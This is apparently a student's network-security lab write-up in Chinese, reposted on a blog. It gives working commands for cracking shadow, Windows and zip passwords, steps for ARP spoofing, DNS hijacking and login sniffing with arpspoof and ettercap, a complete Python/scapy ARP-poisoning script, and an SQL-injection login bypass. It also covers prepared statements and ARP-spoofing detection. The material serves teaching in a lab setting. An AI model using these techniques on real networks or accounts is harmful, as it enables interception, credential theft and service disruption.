网络安全技术pat实验 网络安全 实验
🍅 点击文末小卡片 ,免费获取网络安全全套资料,资料在手,涨薪更快
网络安全实验3
- 前言
- Kali 常用指令
- 工具教程
- ettercap 基本使用
- 一、口令破解
- John the ripper 破解 linux 密码
- l0phtcrack7 破解 windows 密码
- John 破解 zip 压缩包的密码
- 二、ARP 欺骗、DNS 劫持
- arpspoof 实现 ARP 欺骗
- ettercap 进行 DNS 劫持
- ettercap 进行 ARP 欺骗
- HTTP&HTTPS账号密码获取
- 三、Python 编写 arpspoof
- 环境准备
- ARP 报文结构
- 编写代码
- 测试脚本
- 四、SQL注入自己部署的网站
- 环境准备:
- SQL 注入简单了解:
- 开始实战
- SQL 注入的预防方法
- 为什么预编译语句可以防SQL注入?
- VmVare 问题汇总
- 桥接模式没有网
- 安全贴士
- 如何知道自己是否被 ARP欺骗攻击了?
前言
本人深感网络安全实验有点麻烦,花了一个晚上弄了部分,特此将笔记贡献造福后人,个人能力有限,还会继续更新。。。
汇报题目:15分钟教你用 Python 写一个 arpspoof(课件准备ing,如果弄完后续补上)
第一次网络安全实验(密码学)也是我做的,这里先放个自制工具:Java实现密码学工具,集成了对称加密算法DES,AES,IDEA,公开加密算法RSA,ECC,散列算法MD5,SHA1,CRC32,以及RSA,DSA,ECDSA数字签名验证示例。,具体报告有时间上传一下。。
后续准备:将工具教程与实战模块分离。。。
Kali 常用指令
切换系统语言: sudo dpkg-reconfigure locales
获取 root 权限:sudo -s,输入密码
查看 ip 地址:ipconfig
查看网关地址:route -n
查找文件:lication xxx
放大命令行字体:ctrl + shift + +
缩小命令行字体:ctrl + -
恢复初始:ctrl + 0
工具教程
ettercap 基本使用
左上角搜索 ettercap,选择 ettercap-graphical 打开软件

Ettercap 扫描局域网主机
进入 ettercao 后,选择网卡 eth0,其他的默认即可,然后点击右上角的勾,进入操作的主界面。
(由于安装kali的版本不同,Ettercap 界面可能有所不同,不过操作都是大同小异的)

Ettercap 扫描局域网主机
进入主操作界面后,点击右上角的三个小点,选择 Hosts- > Hosts list,就会出现一个局域网所有主机的列表,如果 主机列表为空 或是 有些局域网里的主机没有显示在列表里,那么就可以对整个局域网进行主机扫描,点击三个小点 -> Hosts-> Scan for hosts。扫描完成后主机列表就会刷新了。

Ettercap 伪造网关欺骗
主机列表中,选中 网关IP 点击 Add to Target 1,选择 需要攻击的目标主机IP 点击 Add to Target 2。
这一步主要是欺骗被攻击的目标主机,把 网关的IP地址伪造成 攻击者 Mac 地址。让被攻击的目标主机 把数据发送到 攻击者的主机上。

进行 ARP 欺骗
完成上面步骤后,接着点击小地球选择 ARP poisoning… 会弹出一个提示框让你选择,直接勾选第一个选项,点击OK,最后一步点击左上角的三角型按钮进行启动。
ARP 欺骗启动后,被攻击的目标主机数据请求就会自动发送到攻击者的主机上来。



一、口令破解
加密算法,其实就是用明文密码和一个叫 salt 的东西通过函数crypt()完成加密。而所谓的密码域密文也是由三部分组成的,即:$id$salt$encrypted。
id为 1 时,采用 md5 进行加密;id为 5 时,采用 SHA256 进行加密;id为 6 时,采用 SHA512 进行加密;
通过 cat /etc/shadow 可以观察到:
![]()
![]()
John the ripper 破解 linux 密码
John the ripper 介绍:
- 四种模式:字典模式,简单模式,增强模式,外挂模式
- Kali Linux 上的 John 随带的密码列表。它位于下面这个路径:
/usr/share/john/password.lst john --wordlist=/usr/share/john/password.lst [filename]john--show ~/file_to crack
把密码文件拷贝到用户目录下:
cp /etc/shadow /home/yu/yusael
- 1.
破解密码文件:
john --wordlist=/usr/share/john/password.lst
- 1.
查看破解后的密码文件:
john -show shadow
- 1.

l0phtcrack7 破解 windows 密码
功能:该工具支持远程破解,理论上能破解所有密码,但对复杂度比较高的密码,破解时间很长
使用前提:
- 登录了需要破解的计算机
- 知道需要破解的计算机的一个管理员的账户,密码
选择 Password Auditing Wizard:


选择要破解的密码的计算机操作系统,这里我们选择 Unix-like,点击 next:


选择需要获得密码的计算机是本机器还是远程机器,我们选择 the local machine 本机

选择是用登录的账户还是其他管理员账户,这里我们选择第一个:登录的账户

选择密码爆破方式,我们选择第一种快速破解,当然,也可以选择其他类型:

选择报告方式,默认即可:

选择 Run this job immediately 立刻执行:

点击 finish:

破解结果:成功破解出简单的密码 65535,至于复杂的含有字母的密码难以破解(快速模式下)。

John 破解 zip 压缩包的密码
准备工具:
- zip压缩包带密码 1个
- kali Linux机器 1个
操作步骤:
首先创建一个 hello.zip 压缩文件,密码为 123321,将他放到 Kali Linux 中;

使用 zip2john 命令爆出 hash 文件:zip2john hello.zip >> passwd.txt

然后使用 john 命令,计算 hash 文件:john passwd.txt,成功破解出密码:123321。

二、ARP 欺骗、DNS 劫持
arpspoof 实现 ARP 欺骗
ARP欺骗:一种中间人攻击,攻击者通过毒化受害者的 ARP 缓存,将网关的 MAC 替换成攻击者的 MAC ,于是攻击者的主机实际上就充当了受害主机的网关,之后攻击者就可以截获受害者发出和接到的数据包,从中获取账号密码、银行卡信息等,也可以实现断网操作。
注:我们可以通过在终端输入
arp -a来查询 ARP 缓存,为了防治 ARP 欺骗,可以通过arp -s IP MAC绑定 IP 和 MAC 生成 静态 ARP 表项
实验环境:
- 虚拟机 A,使用 kali linux(攻击者)
- 本地主机 B,win10
- A 和 B 处于同一局域网,这里的虚拟机需要以桥接的方式进行连接!!!


桥接和 NAT 的区别
1、桥接和 NAT 都是虚拟机的一种通讯模式,都需要一块网卡,但在桥接模式下虚拟机和主机在同一网段,而 NAT 模式下虚拟机和主机不在同一网段。
2、桥接网络相当于虚拟机和主机接在同一交换机上,同时上网,虚拟机对物理机的 CPU 和网络的直接影响较小,但安全性较低。
3、NAT 相当于虚拟机通过物理机连接网络,此时物理机相当于一个路由器,虚拟机等同于申请到一个上网名额,对物理机的 CPU 和网络的直接影响较大,但安全性较高。
实验步骤:
1、主机 B 里 ping www.baidu.com 检查网络

2、主机 B 里 ipconfig 查询主机 B 的 IP 地址

3、在 kali 的终端输入 route -n 查询当前局域网网关,为:192.168.3.1

4、arp 攻击指令格式:arpspoof -i [网卡名称] -t [B的IP] [当前局域网网关];
在 kali 的终端里输入命令:arpspoof -i eth0 -t 192.168.3.3 192.168.3.1

5、kali 中输入指令后,回到主机 B,此时已经被ARP攻击,断网了。
命令行中ping www.baidu.com 测试网络连通发现请求超时。

ettercap 进行 DNS 劫持
ipconfig 查看 Kali Liunx 的 IP 地址,我这里是 192.168.3.21;
vi /etc/ettercap/etter.dns 修改 etter.dns 文件,添加两行:
* A 192.168.3.21
* PTR 192.168.3.21
- 1.
- 2.

开启 apache2 服务:
service apache2 start
- 1.
打开 ettercap:
ettercap -G
- 1.
点击扫描,扫描到以后,点击 Add to Target1、Add to Target2;

标题栏上点击三个点,选择 ARP poisoning...:

选中 Sniff remote connections.

选择 dns_spoof,即 DNS 劫持攻击。

点击左上角的开始按钮,此时下面显示 Starting Unified sniffing... 便开始攻击了。
此时目标机就连不上“国际互联网”(这里的目标机是我的Kali机子)。

ettercap 进行 ARP 欺骗
Ettercap 扫描局域网主机
进入 ettercao 后,选择网卡 eth0,其他的默认即可,然后点击右上角的勾,进入操作的主界面。
(由于安装kali的版本不同,Ettercap 界面可能有所不同,不过操作都是大同小异的)

Ettercap 扫描局域网主机
进入主操作界面后,点击右上角的三个小点,选择 Hosts- > Hosts list,就会出现一个局域网所有主机的列表,如果 主机列表为空 或是 有些局域网里的主机没有显示在列表里,那么就可以对整个局域网进行主机扫描,点击三个小点 -> Hosts-> Scan for hosts。扫描完成后主机列表就会刷新了。

Ettercap 伪造网关欺骗
主机列表中,选中 网关IP 点击 Add to Target 1,选择 需要攻击的目标主机IP 点击 Add to Target 2。
这一步主要是欺骗被攻击的目标主机,把 网关的IP地址伪造成 攻击者 Mac 地址。让被攻击的目标主机 把数据发送到 攻击者的主机上。

进行 ARP 欺骗
完成上面步骤后,接着点击小地球选择 ARP poisoning… 会弹出一个提示框让你选择,直接勾选第一个选项,点击OK,最后一步点击左上角的三角型按钮进行启动。
ARP 欺骗启动后,被攻击的目标主机数据请求就会自动发送到攻击者的主机上来。



此时目标主机已经受到攻击。

通过 路由表 判断 是否被 ARP 欺骗:ARP -n

HTTP&HTTPS账号密码获取
先开启端口转发,保证正常上网:echo 1 > /proc/sys/net/ipv4/ip_forward
开始欺骗:arpspoof -i eth0 -t 192.168.3.3 192.168.3.1
用 ettercap 抓取登入帐号,密码:ettercap -Tq -i eth0
修改中间人攻击的配置文件:vim /etc/ettercap/etter.conf
三、Python 编写 arpspoof

环境准备
虚拟机的连接方式:
- NAT(网络地址转换,虚拟机可以上网,但不能和物理机通信)-----VMnet8
- host only(主机模式,虚拟机之间回可以通信,与物理机不能通信)-----VMnet1
- bridge (桥接,答虚拟机与物理机在地位上相等,相当于与物理机在同一局域网的物理机)
Kali 如果没有 pip3 工具,运行下面命令安装 pip3:
apt install python3-pip
- 1.
安装 scapy 模块:
pip3 insatall scapy
- 1.
ARP 报文结构
以太网报文数据:
- 硬件类型:如以太网(0x0001)、分组无线网。
- 协议类型:如网际协议(IP)(0x0800)、IPv6(0x86DD)。
- 硬件地址长度:每种硬件地址的字节长度,一般为6(以太网)。
- 协议地址长度:每种协议地址的字节长度,一般为4(IPv4)。
- 操作码:1 为 ARP 请求,2 为 ARP 应答,3为RARP请求,4为RARP应答。
- 源硬件地址:n个字节,n由硬件地址长度得到,一般为发送方MAC地址。
- 源协议地址:m个字节,m由协议地址长度得到,一般为发送方IP地址。
- 目标硬件地址:n个字节,n由硬件地址长 度得到,一般为目标MAC地址。
- 目标协议地址:m个字节,m由协议地址长度得到,一般为目标IP地址。
报文格式:对我们来说只需要关心 操作码、源硬件地址、源协议地址、目标硬件地址、目标协议地址

CMD中:
from scapy.all import *
# 查看以太网报文
ls(Ether())

# 查看ARP报文
ls(ARP())

编写代码
#-*- coding:utf-8 -*-from scapy.all import *
from scapy.layers.l2 import ARP, getmacbyip
import sys'''
arp 缓冲表恢复
'''
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):print("[*] 恢复ARP缓冲...")send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_ip), count=5)send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac))'''
进行双向欺骗
'''
def attack_target(gateway_ip, gateway_mac, target_ip, target_mac):'''首先使用 scapy 构造 ARP包需要: 了解arp报文结构(见笔记)[以太网的首部]默认即可;查看默认的以太网头部:>>> ls(Ether())dst : DestMACField = 'ff:ff:ff:ff:ff:ff' (None)src : SourceMACField = '00:0c:29:07:a4:fd' (None)type : XShortEnumField = 36864 (36864)[arp头部]默认即可;需要了解:操作码 源硬件地址 源协议地址 目标硬件地址 目标协议地址查看ARP报文:>>> ls(ARP())hwtype : XShortField = 1 (1)ptype : XShortEnumField = 2048 (2048)hwlen : FieldLenField = None (None)plen : FieldLenField = None (None)op : ShortEnumField = 1 (1) hwsrc : MultipleTypeField = '00:0c:29:07:a4:fd' (None)psrc : MultipleTypeField = '192.168.3.21' (None)hwdst : MultipleTypeField = '00:00:00:00:00:00' (None)pdst : MultipleTypeField = '0.0.0.0' (None)我们关心的是以下几个属性:[op]: 操作码, 默认为 11为 ARP请求, 2为 ARP应答, 3为 RARP请求, 4为 RARP应答RARP —— 逆地址解析协议, 作用与 ARP 相反, 将 MAC 地址转换为 IP 地址。[hwsrc]: 发送方 MAC 地址, 用于告诉对方我的 MAC 地址是什么, 默认为本机, 可以忽略该属性hw —— hardware:硬件, src —— source:源, 也就是自己[psrc]: 发送方 IP 地址, 用于告诉对方我的 IP 地址是什么, 可以用来【伪装】下面两个属性决定报文发给谁:[hwdst]: 目标 MAC 地址dst —— destination:目的地[pdst]: 目标 IP 地址'''# 欺骗目标主机, 我是网关'''发送给目标主机(target_ip)欺骗它:我的 IP 是 gateway_ip(我是网关)我的 MAC地址 是 hwsrc(默认本机)'''poison_target = ARP() # 构造 ARP包poison_target.op = 2 # ARP应答poison_target.psrc = gateway_ip # 我的 IP 是 gateway_ip(我是网关)poison_target.pdst = target_ip # 目标 IP 地址poison_target.hwdst = target_mac # 目标 MAC 地址# 欺骗网关, 我是目标主机'''发送给网关(gateway_ip)欺骗它:我的 IP 是 target_ip(我是目标主机)我的 MAC地址 是 hwsrc(默认本机)'''poison_gateway = ARP() # 构造 ARP包poison_gateway.op = 2 # ARP应答poison_gateway.psrc = target_ip # 我的 IP 是 target_ip(我是目标主机)poison_gateway.pdst = gateway_ip # 目标 IP地址, 发送给网关poison_gateway.hwdst = gateway_ip # 目标 MAC地址, 发送给网关print("[*] 正在进行ARP投毒. [CTRL-C 停止]")while True:try:# 不停的发送 ARP包 send(poison_target)send(poison_gateway)# 休眠一下, 避免太频繁的欺骗, 影响网络time.sleep(2)# 捕获键盘中断except KeyboardInterrupt:# 进行 ARP缓冲修复restore_target(gateway_ip, gateway_mac, target_ip, target_mac)breakprint("[*] ARP投毒结束...")def main():# 网卡 (在kali上运行该脚本)interface = "eth0"# 网关 gateway_ip = "192.168.3.1"# 目标ip# target_ip = "192.168.3.3"target_ip = input("请输入你想攻击的IP地址: ")# 设置网卡conf.iface = interface# 关闭提示信息conf.verb = 0print("[*] 网卡: %s"%interface )# 获取网关MACgateway_mac = getmacbyip(gateway_ip)if gateway_mac is None:print("[!] 获取网关MAC失败. Exiting...")sys.exit(0)else:print("[*] 网关: %s MAC: %s"%(gateway_ip, gateway_mac))# 获取目标主机MACtarget_mac = getmacbyip(target_ip)if target_mac is None:print("[!] 获取目标主机MAC失败. Exiting...")sys.exit(0)else:print("[*] 目标主机: %s MAC: %s"%(target_ip, target_mac))attack_target(gateway_ip, gateway_mac, target_ip, target_mac)if __name__ == "__main__":main()
测试脚本
Kali 运行脚本,windows 作为靶机。
查看ip,查看网关等操作 前面已经详细列出过,这里不再重复了,直接开始运行脚本,测试。
输入命令:Python3 arpspoof.py 运行脚本

此时在 windows 上 ping www.baidu.com:成功断网了。

四、SQL注入自己部署的网站
环境准备:
首先我们在 windows 上部署了自己制作的网站(Spring Boot 搭建),然后开启了 Tomcat(Java 的 Web 服务器)。
SQL 注入简单了解:
主要是针对 SQL 语句的漏洞进行攻击,下面举一个简单的例子:
比如网站登录用户,基本都是用以下语句去查询用户名和密码,如果正确则登录成功,否则失败。
下句中的 SQL 语句的密码是我随便写的,必定是登录失败的。
SELECT * FROM t_user WHERE username="zhenyu" AND password='xxxxxx';
- 1.
但是,如果 SQL 语句是下面这样呢?
SELECT * FROM t_user WHERE username="zhenyu" AND password='xxxxxx' OR 1=1;
- 1.
不法分子可以通过在密码中拼接SQL中的关键字来达到登录的效果,这就是最简单的SQL注入原理。
但其实 SQL 注入的预防也是十分容易的,后面会写到。
开始实战
首先在 windows 上运行 SpringBoot 项目,服务器开始运行。

在 Kali Liunx 上通过 windows 的 IP 访问我们的网站:

首先确认数据库中正确的密码:
正确的用户名应该是:zhenyu,
正确的密码应该是:123456
输入用户名:zhenyu,开始SQL注入:
输入密码 12 or ‘1’ = ‘1’

明明密码不正确,却可以登录进去!

SQL 注入的预防方法
其实想要预防 SQL 注入是非常容易的,尤其是从代码层面来讲,可能只需要改动一行代码即可。
以下写法是具有被SQL注入的风险的,

只需要改成如下代码即可,SQL注入就会失效,它的原理是预编译语句。

为什么预编译语句可以防SQL注入?
预编译语句之所以能防止注入,是因为它把单引号转义了,变成了 ',这样一来,就无法截断SQL语句,进而无法拼接SQL语句 基本上没有办法注入了。
关于预编译语句了解即可,大部分的项目开发中都建议直接使用它,但是很多老项目没有使用预编译语句,就导致了存在SQL注入风险的项目依旧很多。
以上演示的是最简单的SQL注入,黑客们的智慧是无穷的,通过简单的SQL语句的搭配即可想出SQL注入这样的攻击方案,十分令人惊叹,未来或许还有更多层出不穷的攻击会出现。
VmVare 问题汇总
桥接模式没有网
问题描述:VMWare安装之后,虚拟网络一直使用默认配置:即 VMnet0 为 Bridged 模式,VMnet1 为 Only-Host 模式,VMnet8 为 NAT 模式。点击了虚拟网络编辑器(Virtual Network Editor) 恢复默认设置后,vMnet0 不见了,并且手动添加选择桥接模式后会报错:没有未桥接的主机网络适配器,无法将网络更改为桥接状态。
此问题导致 VMnet0 无法选择 bridge模式,原因是 还原默认设置 按钮的 卸载组件-安装组件 过程删除了桥接服务,使主机的网络网卡没能被成功识别。
解决方案:
搜索 网络状态,并点击进入

点击更改适配器选项:

右键点击物理网卡,选择属性,比如我这里连接的是WIFi:

检查是否安装并选中了 “VMWare Bridge protocol”,如果没有请继续看下去

点击安装后,选中服务,点击添加

然后选择从磁盘安装,跳出来一个界面选择浏览,在VMvare根目录下找到 netbridge.inx文件

安装即可。
安装完毕后,此时物理网卡-属性中应该有 “VMWare Bridge protocol” 选项,打勾即可。
还需要启动 vmnet bridging 驱动,管理员打开命令行:net start vmnetbridge,或者重启计算机自动开启。
安全贴士
如何知道自己是否被 ARP欺骗攻击了?
在命令行窗口内输入 ARP -a 查看路由表,如果发现你的网关的 Mac 地址,和局域网内某台主机的 Mac 地址相同,就说明你被欺骗了。

最后感谢每一个认真阅读我文章的人,礼尚往来总是要有的,虽然不是什么很值钱的东西,如果你用得到的话可以直接拿走:

上述所有都有配套的资料,这些资料,对于做【网络安全】的朋友来说应该是最全面最完整的备战仓库,这个仓库也陪伴我走过了最艰难的路程,希望也能帮助到你!凡事要趁早,特别是技术行业,一定要提升技术功底。

相关文章:
网络安全技术pat实验 网络安全 实验
🍅 点击文末小卡片 ,免费获取网络安全全套资料,资料在手,涨薪更快 网络安全实验3 前言Kali 常用指令工具教程 ettercap 基本使用 一、口令破解 John the ripper 破解 linux 密码l0phtcrack7 破解 windows 密码John 破解 zip 压…...
4、IP查找工具-Angry IP Scanner
在前序文章中,提到了多种IP查找方法,可能回存在不同场景需要使用不同的查找命令,有些不容易记忆,本文将介绍一个比较优秀的IP查找工具,可以应用在连接树莓派或查找IP的其他场景中。供大家参考。 Angry IP Scanner下载…...
1018. 锤子剪刀布 (20)-PAT乙级真题
题目来源: PTA | 程序设计类实验辅助教学平台 代码实现(代码一): 这个版本是自己写的;(很好理解,但定义了很多变量),有部分样例测试不通过 #include <iostream>…...
MyBatis 中 SqlMapConfig 配置文件详解
精心整理了最新的面试资料,有需要的可以自行获取 点击前往百度网盘获取 点击前往夸克网盘获取 configuration:包裹所有配置标签,是整个配置文件的顶级标签。 properties:属性,该标签可以引入外部配置的属性ÿ…...
复杂项目中的多级WBS应该如何分解?
如果你曾经参与过一个复杂的项目,或许就会感受到: 任务繁杂、责任不清、进度难追踪, 真的是每一位项目经理的噩梦。 而这一切的根源,往往就是缺少一个清晰、有效的任务分解结构—— 没有把庞大、复杂的工作拆解得足够明确&…...
红蓝对抗之常见网络安全事件研判、了解网络安全设备、Webshell入侵检测
文章目录 研判(入侵检测) 设备 经典网络云网络 异常HTTP请求Webshell分析 Webshell 的分类Webshell 的检测 主机层面流量层面 附录 常见端口漏洞…...
使用 CodeMirror 6 实现插入文本及替换选中文本功能
本文将通过具体的代码示例,详细解释如何在 Vue3 中使用 CodeMirror 6 实现文本插入功能,包括在光标位置插入文本和选中文本插入文本的代码示例,以及这两种插入方式的区别。 1. 只能在光标位置插入文本 1.1 代码示例 const insertTemplate …...
Huatuo热更新--如何使用
在安装完huatuo热更新插件后就要开始学习如何使用了。 1.创建主框渐Main 新建文件夹Main(可自定义),然后按下图创建文件,注意名称与文件夹名称保持一致 然后新建场景(Init场景),添加3个空物体…...
Flask实现高效日志记录模块
目录 一. 简介: 1. 为什么需要请求日志 二. 日志模块组成 1. 对应日志表创建(包含日志记录的关键字段) 2. 编写日志记录静态方法 3. 在Flask中捕获请求日志 4. 捕获异常并记录错误日志 5. 编写日志接口数据展示 6. 写入数据展…...
scroll、offset、client三大家族和getBoundingClientRect方法
scroll、offset、client三大家族和getBoundingClientRect方法 1.offset(只能读,不能修改)2.client(只能读,不能修改)3.scroll滚动家族4.getBoundingClientRect方法 1.offset(只能读,不能修改) offsetParent:离当前元素最近的有定位的祖先元素…...
JWT 令牌
目录 一、JWT 1、什么是JWT 2、JWT的组成 3、JJWT签发与验证token 1、创建token 2、解析token 3、设置过期时间 4、自定义claims 前言: 在现代Web应用和微服务架构中,用户身份验证和信息安全传输是核心问题。JSON Web Token(J…...
Python基于Flask的豆瓣Top250电影数据可视化分析与评分预测系统(附源码,技术说明)
博主介绍:✌IT徐师兄、7年大厂程序员经历。全网粉丝15W、csdn博客专家、掘金/华为云//InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇dz…...
JavaScript数组-遍历数组
在JavaScript中,数组是一种非常常用的数据结构,用于存储一系列有序的数据项。无论是处理简单的列表还是复杂的数据集合,遍历数组都是我们经常需要执行的操作之一。本文将详细介绍几种常见的遍历数组的方法,并讨论它们各自的优缺点…...
基于Flask的第七次人口普查数据分析系统的设计与实现
【Flask】基于Flask的第七次人口普查数据分析系统的设计与实现(完整系统源码开发笔记详细部署教程)✅ 目录 一、项目简介二、项目界面展示三、项目视频展示 一、项目简介 基于Flask的人口普查可视化分析系统 二、项目界面展示 登录/注册 首页/详情 …...
解决DeepSeek服务器繁忙的有效方法
全球42%的企业遭遇过AI工具服务器过载导致内容生产中断(数据来源:Gartner 2025)。当竞品在凌晨3点自动发布「智能家居安装指南」时,你的团队可能正因DeepSeek服务器繁忙错失「净水器保养教程」的流量黄金期⏳。147SEO智能调度系统…...
分词器(Tokenizer) | 有了分词器,为什么还需要嵌入模型
文章目录 什么是tokenizer有了分词器,为什么还需要嵌入模型分词器为什么在transformers 里Hugging Face的Tokenizer大模型不同tokenizer训练效果对比分词器库选择当前顶尖大模型所采用的 Tokenizer 方法与词典大小 参考 什么是tokenizer Tokenizers huggingface官方…...
VisionTransformer(ViT)与CNN卷积神经网络的对比
《------往期经典推荐------》 一、AI应用软件开发实战专栏【链接】 项目名称项目名称1.【人脸识别与管理系统开发】2.【车牌识别与自动收费管理系统开发】3.【手势识别系统开发】4.【人脸面部活体检测系统开发】5.【图片风格快速迁移软件开发】6.【人脸表表情识别系统】7.【…...
计算机视觉+Numpy和OpenCV入门
Day 1:Python基础Numpy和OpenCV入门 Python基础 变量与数据类型、函数与类的定义、列表与字典操作文件读写操作(读写图像和数据文件) 练习任务:写一个Python脚本,读取一个图像并保存灰度图像。 import cv2 img cv2.im…...
Vue 3 工程化打包工具:从理论到实践 (下篇)
引言 在前端开发中,打包工具是工程化的重要组成部分。Vue 3 作为当前流行的前端框架,其工程化离不开高效的打包工具。打包工具不仅能够将代码、样式、图片等资源进行优化和压缩,还能通过模块化、代码分割等功能提升应用的性能。本文将深入探…...
java经验快速学习python!
title: java经验快速学习python! date: 2025-02-19 01:52:05 tags: python学习路线 java经验快速学习python! 本篇文档会一直更新!!!变量、分支结构、循环结构、数据结构【列表、元组、集合字典】python常用内置函数元…...
<6>-MySQL表的增删查改
目录 一,create(创建表) 二,retrieve(查询表) 1,select列 2,where条件 三,update(更新表) 四,delete(删除表…...
【Oracle APEX开发小技巧12】
有如下需求: 有一个问题反馈页面,要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据,方便管理员及时处理反馈。 我的方法:直接将逻辑写在SQL中,这样可以直接在页面展示 完整代码: SELECTSF.FE…...
前端导出带有合并单元格的列表
// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...
c++ 面试题(1)-----深度优先搜索(DFS)实现
操作系统:ubuntu22.04 IDE:Visual Studio Code 编程语言:C11 题目描述 地上有一个 m 行 n 列的方格,从坐标 [0,0] 起始。一个机器人可以从某一格移动到上下左右四个格子,但不能进入行坐标和列坐标的数位之和大于 k 的格子。 例…...
ElasticSearch搜索引擎之倒排索引及其底层算法
文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...
Linux 内存管理实战精讲:核心原理与面试常考点全解析
Linux 内存管理实战精讲:核心原理与面试常考点全解析 Linux 内核内存管理是系统设计中最复杂但也最核心的模块之一。它不仅支撑着虚拟内存机制、物理内存分配、进程隔离与资源复用,还直接决定系统运行的性能与稳定性。无论你是嵌入式开发者、内核调试工…...
深入浅出深度学习基础:从感知机到全连接神经网络的核心原理与应用
文章目录 前言一、感知机 (Perceptron)1.1 基础介绍1.1.1 感知机是什么?1.1.2 感知机的工作原理 1.2 感知机的简单应用:基本逻辑门1.2.1 逻辑与 (Logic AND)1.2.2 逻辑或 (Logic OR)1.2.3 逻辑与非 (Logic NAND) 1.3 感知机的实现1.3.1 简单实现 (基于阈…...
云原生安全实战:API网关Kong的鉴权与限流详解
🔥「炎码工坊」技术弹药已装填! 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、基础概念 1. API网关(API Gateway) API网关是微服务架构中的核心组件,负责统一管理所有API的流量入口。它像一座…...
群晖NAS如何在虚拟机创建飞牛NAS
套件中心下载安装Virtual Machine Manager 创建虚拟机 配置虚拟机 飞牛官网下载 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-0.9.2-863.iso 群晖NAS如何在虚拟机创建飞牛NAS - 个人信息分享...
系统掌握PyTorch:图解张量、Autograd、DataLoader、nn.Module与实战模型
本文较长,建议点赞收藏,以免遗失。更多AI大模型应用开发学习视频及资料,尽在聚客AI学院。 本文通过代码驱动的方式,系统讲解PyTorch核心概念和实战技巧,涵盖张量操作、自动微分、数据加载、模型构建和训练全流程&#…...
